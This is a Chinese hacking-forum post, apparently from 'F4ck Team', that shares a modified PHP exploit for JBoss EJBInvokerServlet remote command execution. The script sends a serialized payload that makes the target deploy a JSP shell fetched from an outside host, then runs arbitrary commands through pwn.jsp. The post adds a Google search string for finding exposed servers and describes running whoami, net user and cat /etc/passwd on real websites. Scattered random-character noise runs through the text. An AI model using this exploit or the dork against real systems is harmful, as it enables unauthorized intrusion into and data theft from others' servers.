|
作者:xfkxfk- N p! l; A+ @2 |' \
团队:F4ck Team( \3 Z, a9 m6 _8 e- \
名称:Apache Tomcat/JBoss远程命令执行+ `& }: ?8 ~0 q; C \: Q: i* @
======================================================
. l8 m& r- Y+ }7 H4 y( H* F
* c3 t: E1 n7 ]+ v4 v漏洞详情及利用代码:http://www.exploit-db.com/exploits/28713/2 t/ U3 G2 h! e) |# L
但是在http://www.exploit-db.com/exploits/28713/中给出的exp中,端口被默认为809 C8 I# ~. V7 m/ R6 w
所以用起来不方便,毕竟很多网站的JBoss都是搭建在非80端口的,我们来改一下exp:" ]' r3 G E f6 ?. p$ e8 H
1、修改端口,可以自定义端口5 e N1 u2 k+ V; v5 o: ], V2 ^
2、删除不必要的输出信息
1 P" X0 n; j4 x+ ~# v6 I: L" a* b1 k- <?php
- $host=gethostbyname($argv[1]);
- $port=$argv[2];
- $cmd=$argv[3];
- //small jsp shell
- //change this if you want, url to the app to be deployed, keep it short
- $url="http://retrogod.altervista.org/a.war?";
- $url_len=pack("n",strlen($url));
- function hex_dump($data, $newline="\n") {
- static $from = '';
- static $to = '';
- static $width = 16; static $pad = '.';
- if ($from==='') {
- for ($i=0; $i<=0xFF; $i++) {
- $from .= chr($i);
- $to .= ($i >= 0x20 && $i <= 0x7E) ? chr($i) : $pad;
- }
- }
- $hex = str_split(bin2hex($data), $width*2);
- $chars = str_split(strtr($data, $from, $to), $width);
- $offset = 0;
- foreach ($hex as $i => $line) {
- echo sprintf('%6X',$offset).' : '.implode(' ', str_split($line,2)) . ' [' . $chars[$i] . ']' . $newline;
- $offset += $width;
- }
- }
- $frag_i=
- "\xac\xed\x00\x05\x73\x72\x00\x29\x6f\x72\x67\x2e\x6a\x62\x6f\x73". // ....sr.) org.jbos
- "\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d\x61\x72". // s.invoca tion.Mar
- "\x73\x68\x61\x6c\x6c\x65\x64\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f". // shalledI nvocatio
- "\x6e\xf6\x06\x95\x27\x41\x3e\xa4\xbe\x0c\x00\x00\x78\x70\x70\x77". // n...'A>. ....xppw
- "\x08\x78\x94\x98\x47\xc1\xd0\x53\x87\x73\x72\x00\x11\x6a\x61\x76". // .x..G..S .sr..jav
- "\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2". // a.lang.I nteger..
- "\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75". // .....8.. .I..valu
- "\x65\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e". // exr..jav a.lang.N
- "\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00". // umber... ........
- "\x78\x70\x26\x95\xbe\x0a\x73\x72\x00\x24\x6f\x72\x67\x2e\x6a\x62". // xp&...sr .$org.jb
- "\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d". // oss.invo cation.M
- "\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x56\x61\x6c\x75\x65\xea\xcc". // arshalle dValue..
- "\xe0\xd1\xf4\x4a\xd0\x99\x0c\x00\x00\x78\x70\x77";
- $frag_ii="\x00";
- $frag_iii=
- "\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e". // .....ur. .[Ljava.
- "\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f". // lang.Obj ect;..X.
- "\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x04\x73\x72\x00". // .s)l...x p....sr.
- "\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e". // .javax.m anagemen
- "\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b". // t.Object Name....
- "\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62\x6f\x73". // .m.....x pt.!jbos
- "\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69\x63\x65". // s.system :service
- "\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78\x74\x00". // =MainDep loyerxt.
- "\x06\x64\x65\x70\x6c\x6f\x79\x75\x71\x00\x7e\x00\x00\x00\x00\x00". // .deployu q.~.....
- "\x01\x74".
- $url_len.
- $url.
- "\x75\x72\x00".
- "\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61". // ur..[ Ljava.la
- "\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d". // ng.Strin g;..V...
- "\x7b\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61". // {G...xp. ...t..ja
- "\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67";
- $frag_iv=
- "\x0d\xd3".
- "\xbe\xc9\x78\x77\x04\x00\x00\x00\x01\x73\x72\x00\x22\x6f\x72\x67". // ..xw.... .sr."org
- "\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f". // .jboss.i nvocatio
- "\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4b\x65\x79\xb8". // n.Invoca tionKey.
- "\xfb\x72\x84\xd7\x93\x85\xf9\x02\x00\x01\x49\x00\x07\x6f\x72\x64". // .r...... ..I..ord
- "\x69\x6e\x61\x6c\x78\x70\x00\x00\x00\x05\x73\x71\x00\x7e\x00\x05". // inalxp.. ..sq.~..
- "\x77\x0d\x00\x00\x00\x05\xac\xed\x00\x05\x70\xfb\x57\xa7\xaa\x78". // w....... ..p.W..x
- "\x77\x04\x00\x00\x00\x03\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x04". // w.....sq .~......
- "\x73\x72\x00\x23\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e". // sr.#org. jboss.in
- "\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74". // vocation .Invocat
- "\x69\x6f\x6e\x54\x79\x70\x65\x59\xa7\x3a\x1c\xa5\x2b\x7c\xbf\x02". // ionTypeY .:..+|..
- "\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00". // ..I..ord inalxp..
- "\x00\x01\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x0a\x70\x74\x00\x0f". // ..sq.~.. ....pt..
- "\x4a\x4d\x58\x5f\x4f\x42\x4a\x45\x43\x54\x5f\x4e\x41\x4d\x45\x73". // JMX_OBJE CT_NAMEs
- "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d". // r..javax .managem
- "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03". // ent.Obje ctName..
- "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62". // ...m.... .xpt.!jb
- "\x6f\x73\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69". // oss.syst em:servi
- "\x63\x65\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78". // ce=MainD eployerx
- "\x78"; // x
- $data=$frag_i.pack("v",strlen($frag_iii)+8).$frag_ii.pack("n",strlen($frag_iii)).$frag_iii.$frag_iv;
- //$pk=""POST /invoker/JMXInvokerServlet/ HTTP/1.1\r\n". //the same ...
- $pk="POST /invoker/EJBInvokerServlet/ HTTP/1.1\r\n".
- "ContentType: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation\r\n".
- "Accept-Encoding: x-gzip,x-deflate,gzip,deflate\r\n".
- "User-Agent: Java/1.6.0_21\r\n".
- "Host: ".$host.":".$port."\r\n".
- "Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\r\n".
- "Connection: keep-alive\r\n".
- "Content-type: application/x-www-form-urlencoded\r\n".
- "Content-Length: ".strlen($data)."\r\n\r\n".
- $data;
- //echo hex_dump($pk)."\n";
- $fp=fsockopen($host,$port,$e,$err,3);
- fputs($fp,$pk);
- $out=fread($fp,8192);
- fclose($fp);
- //echo hex_dump($out)."\n";
- sleep(5);
- $pk="GET /a/pwn.jsp?cmd=".urlencode($cmd)." HTTP/1.0\r\n".
- "Host: ".$host.":".$port."\r\n".
- "Connection: Close\r\n\r\n";
- echo hex_dump($pk)."\n";
- $fp=fsockopen($host,$port,$e,$err,3);
- fputs($fp,$pk);
- $out="";
- while (!feof($fp)) {
- $out.=fread($fp,8192);
- }
- fclose($fp);
- echo $out;
- ?>
1 o. g! a; | M z
8 V1 n$ L) Y6 a, k2 f复制代码
# r6 R3 B) a% P) T+ E##################################################### A# ?( Q r3 i0 c& @/ l
Google 关键字: inurl:status EJBInvokerServlet (数量很多,但是好多都是国外的网站)9 _, M: D3 b$ v* p
利用方法:C:\PHP>php exp.php target_ip port cmd
, _* \( J3 X& F" I8 b4 Y7 S! @# o#####################################################
, a* ?4 a# U, q7 M) i7 N
$ G2 _' b) B/ d* @9 U9 o下面我们来找几个站试一下:4 k0 K7 g' E) z& o+ `( E' E9 z. }/ q
windows的站
! X/ n0 h3 M2 E% Y分别执行了命令:whoami,net user,systeminfo:
1 B0 G5 _# e6 {1 F W* U5 n
( I0 K9 A. a: G: i! O' [3 Y
6 r$ G5 f6 t. {1 I/ t3 O l& D5 c" X" M& q0 ^; q: E. J
+ x! M u% m% n6 ~/ F& Ilinux站
( h! q, R* ?& I! c8 F& l6 |分别执行命令:id,cat /etc/passwd/:
$ d' b+ e) B9 t- a) t& Y. u |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|